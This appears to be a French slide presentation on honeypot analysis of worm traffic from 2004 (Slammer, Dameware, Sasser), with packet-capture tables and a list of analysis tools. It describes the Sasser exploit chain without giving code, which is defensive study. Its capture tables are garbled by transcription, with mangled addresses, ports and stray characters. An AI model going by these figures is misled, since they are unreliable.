25 11654  
15 22967  
15 24902  
19 43326  
19 44603  
2 49597  
17 55297  
19 56830
```

Autre trafic observé

- ✗ SMB/CIFS (139/tcp, 445/tcp)
 - ✗ Pas visible dans l'architecture actuelle, pas de serveur SMB/CIFS actif sur le *honeypot* pour répondre lors de la négociation du dialecte SMB
- ✗ Dameware (6219/tcp)
 - ✗ Vers utilisent presque tel quel l'*exploit* publié le 19 décembre 2003
- ✗ Slammer (1434/udp)
 - ✗ Un seul datagramme UDP, de 376 octets (désactiver le dissecteur DCERPC dans ethereal)
 - ✗ Inside the Slammer Worm: <http://www.computer.org/security/v1n4/j4wea.htm>

Slammer (1434/udp)

En.	Time	Source	Destination	Protocol	Info
1	2004-03-12 15:27:55	1F2390 204.212.213.17	197.80.73.215	IP2	Source port.: 1418 Dest. port.: 434
2	2004-03-12 15:52:58	3C811 143.211.125.215	197.80.73.236	IP2	Source port.: 1421 Dest. port.: 434
3	2004-03-12 20:10:07	774375 204.209.208.112	197.80.73.210	IP2	Source port.: 1335 Dest. port.: 434
4	2004-03-12 20:15:58	418743 204.212.196.105	197.80.73.210	IP2	Source port.: 1079 Dest. port.: 434
5	2004-03-12 20:23:12	4C5922 245.122.126.141	197.80.73.214	IP2	Source port.: 2575 Dest. port.: 434

■ Frame 3 (13 bytes on wire, 113 bytes captured)

由 Easenet 11 - Spot 0073-7373181 - IP: 52.5.4.1188:8080

Internet Protocol Version 4 Header (IPv4) - 192.84.52.211 (192.84.52.211)

用 User Datagram Protocol。Seq Port: 1538 (1538), Ret Port: 143 (143)

Data (37E bytes)

- ✗ Sasser est un vers sorti le 1er Mai 2004, exploitant une vulnérabilité dans un service RPC lié à Active Directory (Windows 2000 et Windows XP)
- ✗ Interface RPC dssetup, dont l'opération 9 ([DsRoleUpgradeDownlevelServer](#)) permet d'exploiter un débordement de buffer, permettant d'exécuter du code sous l'identité SYSTEM
- ✗ Exploitable en DCE-RPC sur SMB (port 139 ou 445), en utilisant **par exemple** \pipe\lsarpc comme tube nommé (session SMB nulle)
- ✗ Corrigé par le bulletin de sécurité MS04-011 (13 Avril 2004)
- ✗ Le correctif supprime l'accès distant à ces opérations
 - ✗ Opérations uniquement utilisées localement (cf. interface dsrole dans Windows Server 2003)

- ✗ Vers Sasser utilise directement un exploit publié le 29 Avril 2004 dans son exécutable (avserve.exe, avserve2.exe, skynetave.exe)
- ✗ Exploit sert à créer un shell sur le port 9996
- ✗ Vers tente de se reconnecter sur ce port, pour provoquer le téléchargement en FTP sur la machine attaquante (déjà compromise) de l'exécutable du vers
 - ✗ Le vers contient un serveur FTP minimaliste, sur le port 5554
- ✗ Analyses
 - ✗ Sasser Worm Technical Analysis (eEye)
<http://www.eeye.com/html/Research/Advisories/AD20040501.html>
 - ✗ Sasser Worm Analysis
<http://www.lurhq.com/sasser.html>

No.	Date	Source	Destination	Protocol	Info
398	2004-05-03 10:21:55.819638	203.174.222.244	195.48.245.123	TCP	445 > 34417 [ACK] Seq=185 Ack=308 Win=17346 Len=0
399	2004-05-03 10:21:57.910060	203.174.222.244	195.48.245.123	SMB	Session Setup AndX Response, Error: STATUS_MJN_PROCESSING_MISMATCH
400	2004-05-03 10:21:57.074770	195.48.245.123	203.174.222.244	SMB	Session Setup AndX Request
401	2004-05-03 10:21:58.077988	203.174.222.244	195.48.245.123	SMB	Session Setup AndX Response
402	2004-05-03 10:21:58.214968	195.48.245.123	203.174.222.244	SMB	Tree Connect AndX Request, Path: \\192.70.103.162\pc4
403	2004-05-03 10:21:58.215494	203.174.222.244	195.48.245.123	SMB	Tree Connect AndX Response
404	2004-05-03 10:21:58.349388	195.48.245.123	203.174.222.244	SMB	NT Create AndX Request, Path: \carpe
405	2004-05-03 10:21:58.350512	203.174.222.244	195.48.245.123	SMB	NT Create AndX Response, FID: 0x4000
406	2004-05-03 10:21:58.491932	195.48.245.123	203.174.222.244	DCERPC	Find: call Id: 1 URL: LSA DS
407	2004-05-03 10:21:58.626787	203.174.222.244	195.48.245.123	UP	445 > 34417 [ACK] Seq=388 Ack=890 Win=16751 Len=0
408	2004-05-03 10:21:59.009003	203.174.222.244	195.48.245.123	DCERPC	IFindNext: ca..._id: 1 accept max_count: 4200 max_recv: <200
409	2004-05-03 10:21:59.14843	195.48.245.123	203.174.222.244	TCP	[Segmented TCP]
410	2004-05-03 10:21:59.187456	195.48.245.123	203.174.222.244	TCP	[Desegmented TCP]
411	2004-05-03 10:21:59.107524	203.174.222.244	195.48.245.123	TCP	445 > 34417 [ACK] Seq=000 Ack=3410 Win=17040 Len=0
412	2004-05-03 10:21:59.214024	195.48.245.123	203.174.222.244	LSA DS	IsRoleUpgradeDownlevelServer request
413	2004-05-03 10:21:59.342995	203.174.222.244	195.48.245.123	TCP	445 > 34417 [ACK] Seq=986 Ack=4210 Win=18840 Len=0
414	2004-05-03 10:21:59.361397	195.48.245.123	203.174.222.244	TCP	E4417 > 445 [ACK] Seq=4210 Ack=986 Win=6327 Len=0
415	2004-05-03 10:21:59.38394	203.174.222.244	195.48.245.123	LSA DS	IsRoleUpgradeDownlevelServer response
416	2004-05-03 10:21:59.405783	195.48.245.123	203.174.222.244	TCP	E4417 > 445 [ACK] Seq=4210 Ack=1094 Win=63413 Len=0
417	2004-05-03 10:21:59.408825	195.48.245.123	203.174.222.244	TCP	11333 > 3996 [SYN] Seq=0 Ack=0 U.n=64512 Len=0 MSS=1380
418	2004-05-03 10:21:59.419063	203.174.222.244	195.48.245.123	UP	3996 > 11333 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0
419	2004-05-03 10:21:59.455400	195.48.245.123	203.174.222.244	TCP	44417 > 445 [RST] Seq=4210 Ack=530400457 Win=0 Len=0
420	2004-05-03 10:21:59.4556083	195.48.245.123	203.174.222.244	TCP	11333 > 3996 [SYN] Seq=0 Ack=0 U.n=64512 Len=0 MSS=1380
421	2004-05-03 10:21:59.4563320	203.174.222.244	195.48.245.123	TCP	3996 > 11333 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0
422	2004-05-03 10:21:59.413000	195.48.245.123	203.174.222.244	TCP	11333 > 3996 [SYN] Seq=0 Ack=0 U.n=64512 Len=0 MSS=1380
423	2004-05-03 10:21:59.413240	203.174.222.244	195.48.245.123	TCP	3996 > 11333 [RST, ACK] Seq=0 Ack=1 Win=0 Len=0

- ✗ Analyse réseau du trafic sur l'Internet
 - ✗ Permet d'obtenir une bonne idée des vers et virus en vogue
 - ✗ Méthode utilisée ici (pot de miel) ne permet pas de capturer certains virus et vers qui nécessitent une interaction avec le composant logiciel visé
 - ✗ Phase d'analyse préliminaire pour déterminer la typologie du trafic
 - ✗ Identification du type de vers ou virus, en se basant sur les numéros de port, la taille et le contenu des données échangées, le contexte, ...
 - ✗ ethereal est souvent utilisé pour des tâches bien précises (analyse fine)

- ✗ Ethereal : <http://www.ethereal.com/>
- ✗ Manipulation de traces réseau
 - ✗ argus : <http://www.qosient.com/argus/>
 - ✗ ipsumdump : <http://www.icir.org/kohler/ipsumdump/>
 - ✗ ngrep : <http://ngrep.sf.net/>
 - ✗ tcpflow : <http://tcpflow.sf.net/>
 - ✗ split.py : <http://oss.coresecurity.com/projects/impacket.html>
 - ✗ tcpreplay (capinfo) : <http://tcpreplay.sf.net/>
- ✗ Analyse de binaires
 - ✗ PE ReaDeR (perdr) : <http://perdr.sf.net/>
 - ✗ upx : <http://upx.sf.net/>

- ✗ A l'ensemble des consultants HSC et plus particulièrement à Yann Berthier, Denis Ducamp et Alain Thivillon
- ✗ Merci à Vanja Svajcer